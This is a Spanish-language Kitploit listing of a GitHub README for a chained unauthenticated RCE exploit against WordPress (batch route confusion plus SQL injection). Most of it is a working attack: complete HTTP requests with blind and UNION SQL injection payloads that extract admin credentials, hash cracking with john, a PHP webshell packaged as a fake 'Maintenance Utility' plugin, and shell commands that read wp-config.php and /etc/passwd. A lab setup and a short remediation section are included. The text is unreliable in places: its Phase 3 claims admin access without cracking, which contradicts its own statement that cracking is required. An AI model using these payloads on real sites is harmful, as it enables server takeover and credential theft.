Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-60137_CVE-2026-63030 | Kitploit
Herramientas/GitHubGitHub/dungsocool/cve-2026-60137_cve-2026-63030
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubdungsocool/cve-2026-60137_cve-2026-63030

CVE-2026-60137_CVE-2026-63030

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 24 díasAún no revisado

CVE-2026-60137 + CVE-2026-63030 — RCE no autenticado en WordPress

Vulnerabilidad: REST Batch Route Confusion + WP_Query SQL Injection → RCE completo

CVSS v3.1: 10.0 / 10.0 — CRÍTICO | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Afectado: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Parcheado: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)

root@kitploit:~
---

## Inicio Rápido

### 1. Configurar el Laboratorio Vulnerable

**Requisitos:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030

# Start vulnerable WordPress
docker compose up -d

# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080

2. Ejecutar el exploit```bash

pip install requests

Full auto chain — interactive shell

python3 exploit.py http://localhost:8080

Or run a single command

python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"

Check-only mode (no exploitation)

python3 exploit.py http://localhost:8080 --check-only

root@kitploit:~
### 3. Salida esperada```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible

[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...

[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123

[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated

[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php

[+] RCE CONFIRMED!
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@target$ _
image image

Archivos en este repositorio


Análisis Detallado de Vulnerabilidad

CVE-2026-60137 (encadenado con CVE-2026-63030)

Vulnerabilidad: Ejecución Remota de Código no autenticada — REST Batch Route Confusion + Inyección SQL en WP_Query

CVSS v3.1: 10.0 / 10.0 — CRÍTICA

Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


1. Resumen

CVE-2026-60137 es una vulnerabilidad de RCE no autenticado en el núcleo de WordPress. Combina dos errores independientes en una cadena de explotación completa que va desde acceso cero hasta el compromiso total del servidor:

CVEErrorRol en la cadena
CVE-2026-63030REST Batch Route ConfusionEvadir la autenticación
CVE-2026-60137author__not_in Inyección SQLLectura/escritura arbitraria de la base de datos

Versiones afectadas:

  • RCE completo: WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
  • Solo SQLi (requiere un plugin complementario): 6.8.0 – 6.8.5
  • Corregido: 6.9.5, 7.0.2, 7.1-beta2+

Condiciones de explotación:

  • La API REST es pública (por defecto en WordPress)
  • No hay caché de objetos persistente (por defecto no hay ninguna)
  • Al menos 1 entrada publicada (por defecto existe "Hello World")
  • No se requiere ninguna cuenta ni sesión en absoluto

→ La gran mayoría de las instalaciones de WordPress son vulnerables por defecto.

2. Terminología

Endpoint REST Batch (/wp-json/batch/v1)

Permite enviar múltiples solicitudes a la API REST dentro de una única solicitud HTTP:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }

root@kitploit:~
Cada sub-solicitud se corresponde con su propio manejador, y cada manejador tiene su propio **callback de permisos**.

### WP_Query — `author__not_in`

Clase principal de consulta de base de datos. El parámetro `author__not_in` acepta una matriz de enteros, generando la cláusula SQL:```sql
AND post_author NOT IN (5, 12, 23)

Cada elemento pasa por absint() → conservando solo la parte entera.

wp_parse_url()

Envoltorio para parse_url(). Al recibir una URL no válida → devuelve WP_Error.```php wp_parse_url("https://example.com/path") // → OK wp_parse_url("///") // → WP_Error

root@kitploit:~
## 3. Causa raíz — Bug A: Confusión de rutas por lotes (CVE-2026-63030)

**Archivo:** `wp-includes/rest-api/class-wp-rest-server.php`

### Código fuente vulnerable:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
    $requests = $batch_request->get_json_params()['requests'];
    $matches  = array();

    foreach ( $requests as $i => $single_request ) {
        $parsed = wp_parse_url( $single_request['path'] );

        if ( is_wp_error( $parsed ) ) {
            $responses[ $i ] = $this->error_to_response( $parsed );
            continue;  // ←BUG: $matches[] is NOT appended
        }

        $matches[] = $this->match_request_to_handler( $parsed );
        // ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
    }

    // Dispatch — this is where the bug comes into play
    $match_index = 0;
    foreach ( $requests as $i => $single_request ) {
        if ( isset( $responses[ $i ] ) ) continue;

        $handler = $matches[ $match_index ];  // ← INDEX IS DESYNCED
        $match_index++;

        // Request[i] runs with the permission callback OF ANOTHER REQUEST
        $permission_callback = $handler['permission_callback'];
        call_user_func( $permission_callback, $single_request );
    }
}

Mecanismo:```

Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}

Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler

Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication

root@kitploit:~
### ¿Por qué `"///"` desencadena el bug?

Cuando PHP `parse_url()` se encuentra con `"///"`, intenta analizarlo según **RFC 3986** — estructura de URL:```
scheme ://   authority  /       path
  │              │              │
"https"    "localhost:8080"   "/wp/v2/posts"
                 │
             host + port

Cuando recibe "///", lo interpreta como:``` // → authority begins (double slash = has host) / → empty authority, path begins immediately → host = "" (empty) → path = "" (empty) → scheme = none

root@kitploit:~
Resultado de retorno de PHP:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version

WordPress wraps this in wp_parse_url() → detects no valid scheme, no valid host, no meaningful path → returns WP_Error.

wp_parse_url("///") returns WP_Error (URL malformed). This error causes the request to be skipped in the loop building $matches, but it is NOT skipped in the dispatch loop → the array becomes desynced.

4. Causa raíz — Bug B: Inyección SQL (CVE-2026-60137)

Archivo: wp-includes/class-wp-query.php

Código fuente vulnerable:```php

class WP_Query { public function get_posts() { global $wpdb;

root@kitploit:~
    if ( ! empty( $q['author__not_in'] ) ) {
        $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
        $where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
        //                                                   ↑ INJECTION POINT
    }
}

}

root@kitploit:~
### Ruta normal (segura):```
User input → REST Controller → array cast + absint() → WP_Query → SQL
             ↑ sanitization occurs here

Controlador REST (class-wp-rest-posts-controller.php):```php $args['author__not_in'] = array_map('absint', (array)$request['author_exclude']); // "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0] // → SAFE

root@kitploit:~
### Path con confusión de rutas (Vulnerable):```
User input → Route Confusion bypass → WP_Query directly → SQL
             ↑ REST controller is SKIPPED

Cuando se produce la desincronización de lotes, los parámetros de solicitud no pasan por el controlador REST → la cadena sin procesar va directamente a WP_Query → wp_parse_id_list() tiene un bypass de caso límite → inyección SQL.

Payload:```

author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"

root@kitploit:~
SQL generado:```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
                            ↑ INJECTED                                           ↑ commented out

5. ¿Por qué encadenar ambos bugs?

EscenarioResultado
Bug A solo (Route Confusion)Evasión de permisos → pero nada que inyectar
Bug B solo (SQLi)El controlador REST siempre convierte la entrada → no se puede inyectar
Bug A + Bug BLa confusión evita el controlador → cadena sin procesar a SQL → RCE

Individualmente, estos dos bugs son inofensivos. Solo cuando se encadenan:

  • Bug A: elimina la capa de sanitización (controlador REST)
  • Bug B: inyecta SQL porque se omitió la sanitización

6. Análisis de la cadena de ataque

Fase 1: Route Confusion```

POST /wp-json/batch/v1 Content-Type: application/json

{ "requests": [ {"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}} ] }

root@kitploit:~
→ Response[0]: `parse_path_failed` (primer activado)

→ Response[1]: `rest_invalid_handler` (desync del handler confirmado)

### **Fase 2: Inyección SQL — Extraer datos**

**Booleano ciego :**```
0) OR (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1) > 96-- -

Comparar respuesta TRUE vs FALSE → búsqueda binaria de cada carácter.

UNION In-Band :``` 0) UNION SELECT 99999,1,NOW(),NOW(),user_pass,user_login,'','publish', 'closed','closed','','slug','','',NOW(),NOW(),'',0, CONCAT('http://x/',user_login),0,'post','',0 FROM wp_users LIMIT 1-- -

root@kitploit:~
Fila de post falsa que contiene las credenciales devueltas en la respuesta JSON.

→ Resultado: se extrajeron exitosamente `user_login` y `user_pass` (hash bcrypt) de `wp_users`.

### **Fase 3: Crackear Hash → Login Admin**

El hash obtenido en la Fase 2 está en formato bcrypt (`$wp$2y$10$...`). Elimina el prefijo `$wp$` → crackea usando john/hashcat + wordlist → obtén la contraseña en texto plano → inicia sesión en `/wp-login.php`.

**Nota:** El punto de inyección está dentro de la cláusula `WHERE` de `SELECT`. MySQL desactiva las sentencias múltiples → UNION es de solo lectura, no de escritura → no se puede insertar un nuevo admin directamente vía SQLi. Hay que crackear el hash para obtener una sesión válida.

### Fase 4: Subida de Webshell```
1. Login with new admin → wp-login.php
2. GET /wp-admin/plugin-install.php?tab=upload → extract _wpnonce
3. POST multipart → upload ZIP plugin containing PHP shell
4. Activate plugin

Fase 5: RCE```

GET /wp-content/plugins/shell/shell.php?token=xxx&cmd=id → uid=33(www-data) gid=33(www-data)

root@kitploit:~
## **7. EXPLOTACIÓN**

Explotar CVE-2026-60137 va desde **cero acceso** — sin cuenta, sin contraseña, sin sesión — hasta **control total del servidor** únicamente mediante peticiones HTTP.

**Requisitos:** El objetivo ejecuta WordPress 6.9.0–6.9.4 o 7.0.0–7.0.1 con la API REST pública (habilitada por defecto). No hay necesidad de iniciar sesión ni conocer credenciales.

**La cadena de explotación consta de 5 fases:**```
Phase 1: Route Confusion      → Bypass authentication
Phase 2: SQL Injection        → Read database (username, password hash)
Phase 3: Crack-Free Admin     → Create new admin without cracking password
Phase 4: Webshell Upload      → Install backdoor via plugin upload
Phase 5: RCE                  → Execute arbitrary commands on the server

7.1 Fase 1: Confirmar la confusión de rutas

Objetivo: Confirmar que el objetivo es vulnerable — el array de manejadores está desincronizado al enviar la ruta inicial "///".

Principio: El endpoint por lotes permite enviar múltiples solicitudes REST en 1 llamada HTTP. Cuando wp_parse_url("///") falla, WordPress omite esa solicitud al construir el array $matches pero NO la omite durante el despacho → los manejadores quedan desplazados → la solicitud subsiguiente se ejecuta con el callback de permisos incorrecto → se omite la autenticación.

Enviar solicitud:``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"title":"test","status":"draft"}}]}

root@kitploit:~
**Respuesta:**```
{
  "responses": [
    {"body": {"code": "parse_path_failed"}, "status": 400},
    {"body": {"code": "rest_invalid_handler"}, "status": 500}
  ]
}

Cómo leer:

images/image.png

Observamos que rest_invalid_handler significa: "WordPress se da cuenta de que el handler NO COINCIDE con la solicitud"

→ Esto significa que la matriz $matches YA ESTÁ DESINCRONIZADA, la prueba inicial "///" HA FUNCIONADO y esta desincronización PUEDE ser explotada para hacer que la solicitud se ejecute con el callback de permisos DE OTRA RUTA (una ruta que no requiere autenticación) → EL BYPASS DE AUTENTICACIÓN ES POSIBLE

Ver rest_invalid_handler → Bug A confirmado.

7.2 Fase 2: Confirmar la inyección SQL

Paso 1 — TRUE vs FALSE

TRUE (OR 1=1):

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) OR 1=1-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
**FALSO (AND 1=2):**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/95c08d2e43f06122b224fab9d17c713097a2f740f972da5b9d6d68e10ca4effa.png)```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND 1=2-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

Diferencia en X-WP-Total → SQLi confirmado.

Paso 2 — Extraer nombre de usuario admin (Booleano ciego)

1er carácter:

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT SUBSTRING(user_login,1,1) FROM wp_users WHERE ID=1)=CHAR(97)-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
`CHAR(97)` = `'a'`. X-WP-Total=8 (TRUE) → así que el primer carácter es `'a'`

Al enumerar secuencialmente, obtenemos: `user_login` = **"admin"**

#### **Paso 3 — Extraer el hash de la contraseña**```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 30-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

images/image.png

images/image.png

Usa la búsqueda binaria para determinar el código ASCII de cada carácter en user_pass:``` Payload: ASCII(SUBSTRING(user_pass,1,1)) > 30 → X-WP-Total: 8 (TRUE) Payload: ASCII(SUBSTRING(user_pass,1,1)) > 40 → X-WP-Total: 0 (FALSE)

root@kitploit:~
Dos respuestas opuestas confirman que el ASCII del primer carácter está dentro del rango **(30, 40]**. Continúa acotando:```
> 35  →  TRUE
> 36  →  FALSE
→ ASCII = 36 = '$'

Continue binary searching each position → obtain the hash prefix string $wp$:

Continue using BLIND SQL character by character:

→ Full hash: $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

7.3 Phase 3: Login Admin

After Phase 2, we have:

  • user_login = admin
  • user_pass = $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

Crack Hash

WordPress hashes use the bcrypt format ($2y$10$), with a cost factor of 10. Before cracking, we need to strip the $wp$ prefix because hashcat/john only accepts pure bcrypt:```

Save the pure bcrypt part (remove $wp$ prefix)

echo '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' > hash.txt

Crack using john

john hash.txt --wordlist=mini_wordlist.txt --format=bcrypt

root@kitploit:~
**Resultado:**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/29e2f2018d63e7bdb2c8a633cb151d0aeab28801b47c7ec270be116ec2030f89.png)

La contraseña **`admin123`** está en el diccionario → john la descifra con éxito de inmediato.

→ Se inició sesión correctamente en `/wp-login.php` con `admin:admin123`.

### **7.4 Fase 4: Subir Webshell**

En este punto, tenemos una sesión de administrador válida. El siguiente objetivo es **plantar una puerta trasera en el servidor** para mantener el acceso independientemente de las credenciales.

WordPress permite a los administradores subir plugins en formato ZIP — esta es una función legítima, y la abusaremos.

#### **Crear webshell**

Primero, necesitamos un archivo PHP que ejecute comandos del sistema. Este archivo se empaquetará en un plugin falso para que WordPress lo acepte:```php
<?php
/*
Plugin Name: Maintenance Utility
Version: 1.0
*/
if (isset($_GET['token']) && $_GET['token'] === 'secret123' && isset($_GET['cmd'])) {
    header('Content-Type: text/plain');
    echo shell_exec($_GET['cmd'] . ' 2>&1');
    exit;
}

El token secret123 actúa como una contraseña — evitando que otros activen accidentalmente el shell.```bash mkdir shell && mv shell.php shell/ zip -r shell.zip shell/

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/bf2671815ada8d413fdb42cdd06b8b42c7a549846557a6e3ff541147010bf104.png)

Creado correctamente.

#### **Subir a WordPress**

Después de crear correctamente `shell.zip`, sube el archivo zip a la sección de plugins para activarlo.

WordPress extrae y coloca el archivo en:```
/var/www/html/wp-content/plugins/shell/shell.php

El plugin aparece en la lista con el nombre "Maintenance Utility" y el estado Activo → el webshell ya está listo para activarse mediante HTTP.

images/image.png

UPLOAD y ACTIVE realizados con éxito.

7.5 Fase 5: RCE

Por lo tanto, la Shell está en el servidor. Invócala para ejecutar la shell.

Confirmar RCE:``` GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=id

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/eb3f921660da2c214487a9ccb062f173bee25b881e7ff7c95be685fbb061bf2a.png)```
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ejecutando como el usuario www-data — el usuario del servidor web. A continuación, escala el impacto:

Leer el archivo de configuración de WordPress:```

GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/var/www/html/wp-config.php

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/3db8d0921065eb40ee3e8d305fbc365c924f7d8950921b034d521037c676a9bf.png)

 — Ejecuta el comando para leer el archivo `wp-config.php` a través del webshell — exponiendo todas las claves secretas de WordPress (`AUTH_KEY`, `SECURE_AUTH_KEY`, `LOGGED_IN_KEY`, `NONCE_KEY`,...) y las credenciales de la base de datos. Esta es la información más sensible en una instalación de WordPress.

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/ea90ae9a1698312588a1dd97c804f1612a8bb09889eb12aafcb3ed1e68295826.png)

*—* La respuesta devuelve el contenido de `wp-config.php`, incluyendo `DB_NAME`, `DB_USER`, `DB_PASSWORD`, `DB_HOST` — suficiente para acceder directamente al servidor de base de datos sin pasar por WordPress.

#### **Leer todos los usuarios del sistema:**```
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/etc/passwd

images/image.png

→ Confirma el acceso a nivel de sistema operativo, ya no restringido al alcance de WordPress.

En este punto, la cadena de explotación está completa:``` Zero credentials ↓ Route Confusion (Bug A) Auth bypass ↓ SQL Injection (Bug B) admin:admin123 ↓ hashcat/john Admin session ↓ Plugin upload Webshell active ↓ shell_exec() Full RCE — www-data

root@kitploit:~
### **7.6 Resumen**

| **#** | **Fase** | **Método** | **Ruta** |
| --- | --- | --- | --- |
| 1 | SQLi TRUE | POST | `/?rest_route=/batch/v1` |
| 2 | SQLi FALSE | POST | `/?rest_route=/batch/v1` |
| 3 | Extraer nombre de usuario | POST | `/?rest_route=/batch/v1` |
| 4 | Extraer hash | POST | `/?rest_route=/batch/v1` |
| 5 | Iniciar sesión como admin | POST | `/wp-login.php` |
| 6 | Obtener nonce | GET | `/wp-admin/plugin-install.php` |
| 7 | Subir shell | POST | `/wp-admin/update.php` |
| 8 | Activar | GET | `/wp-admin/plugins.php` |
| 9 | **RCE** | GET | `/wp-content/plugins/shell/shell.php` |

**9 peticiones. Cero credenciales iniciales. Desde la página de inicio de sesión → control total del servidor.**

## 8. Desglose CVSS

| Métrica | Valor | Motivo |
| --- | --- | --- |
| Vector de ataque | Red | Remoto vía HTTP |
| Complejidad de ataque | Baja | Determinista, sin necesidad de timing/race |
| Privilegios requeridos | Ninguno | Completamente no autenticado |
| Interacción del usuario | Ninguna | No requiere acción de la víctima |
| Alcance | Cambiado | WP → nivel de SO (www-data) |
| Confidencialidad | Alta | Lectura completa de la BD |
| Integridad | Alta | Escritura arbitraria en BD, subida de archivos |
| Disponibilidad | Alta | DROP tables, ransomware |

## 9. Impacto

### Técnico

| Capa | Impacto |
| --- | --- |
| Base de datos | Acceso READ/WRITE a todo: wp_users, wp_options, wp_posts |
| Aplicación | Crear administradores, modificar contenido, instalar backdoors |
| Servidor | RCE como www-data, leer wp-config.php, /etc/passwd |
| Red | Pivotar a servicios internos mediante credenciales de BD |

### Negocio

| Escenario | Consecuencias |
| --- | --- |
| Comercio electrónico | Fuga de PII, robo de claves de pago, inyección de skimmers |
| Corporativo | Defacement, spam SEO, distribución de malware |
| Multisitio | 1 exploit → comprometer toda la red |
| SaaS (marketing de WP) | Extraer variables de entorno → pivotar a producción |

### Datos en riesgo

- `wp_users`: nombre de usuario, correo electrónico, hash de contraseña
- `wp_usermeta`: PII (nombre, teléfono, dirección), session_tokens
- `wp_options`: credenciales de BD, credenciales SMTP, claves de API de pago, salts de WordPress
- `wp-config.php`: host/usuario/contraseña de la base de datos, claves secretas
- `/proc/self/environ`: variables de entorno

## 10. Defensa y remediación

### 10.1 Parche (exhaustivo)

| Versión actual | Necesita actualizar a |
| --- | --- |
| 6.9.0 – 6.9.4 | **6.9.5** |
| 7.0.0 – 7.0.1 | **7.0.2** |
| 6.8.x | **6.8.6** |

### 10.2 Corrección de código

**Error A — Confusión de ruta:**```php
// BEFORE: $matches[] is offset when an error occurs
if (is_wp_error($parsed)) { continue; }
$matches[] = $match;

// AFTER: Use $i to maintain alignment
if (is_wp_error($parsed)) { $matches[$i] = null; continue; }
$matches[$i] = $match;

Bug B — Inyección SQL:```php // BEFORE: wp_parse_id_list has an edge case $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));

// AFTER: Force cast + explicit absint $safe = array_map('absint', array_filter((array)$q['author__not_in'])); $author_not_in = implode(',', $safe);

root@kitploit:~
### 10.3 Mitigación temporal

**1. Deshabilitar el endpoint por lotes (más efectivo):**```php
add_filter('rest_endpoints', function($endpoints) {
    unset($endpoints['/batch/v1']);
    return $endpoints;
});

2. Habilitar Redis/Memcached:```bash wp plugin install redis-cache --activate wp redis enable

root@kitploit:~
→ La inyección UNION no se refleja (la caché devuelve datos obsoletos).

**3. Regla WAF:**```nginx
location /wp-json/batch/ {
    if ($request_body ~* '"path"\s*:\s*"///') {
        return 403;
    }
}

10.4 Detección

Patrones de registro:``` POST /wp-json/batch/v1 HTTP/1.1" 207 ← anomalous batch requests POST /wp-json/wp/v2/users HTTP/1.1" 201 ← newly created admin POST /wp-admin/update.php HTTP/1.1" 200 ← plugin upload immediately after GET /wp-content/plugins/*/shell.php" 200 ← webshell access

root@kitploit:~
**Comprobación de IOC:**```bash
wp user list --role=administrator          # unfamiliar admin?
ls wp-content/mu-plugins/                  # backdoor?
wp core verify-checksums                   # core modified?
Descargar herramienta
ArchivoDescripción
README.mdAnálisis completo de vulnerabilidades y documento de explotación
exploit.pyScript de explotación automatizado (acceso cero → RCE en un comando)
docker-compose.ymlEntorno de laboratorio WordPress vulnerable
chain-rce.mdDocumentación de la cadena RCE automatizada
images/Capturas de pantalla de la explotación manual
Respuesta
Código
Significado
[0]parse_path_failedLa prueba inicial funciona — wp_parse_url("///") falló
[1]rest_invalid_handler¡DESYNC! La solicitud recibió un handler incorrecto → bypass de autenticación
PositionASCIICharacterNotes
136$Hash prefix
2119w
3112p
436$→ $wp$ = bcrypt variant
5-20...2y$10$aJgATdlhfICost factor + salt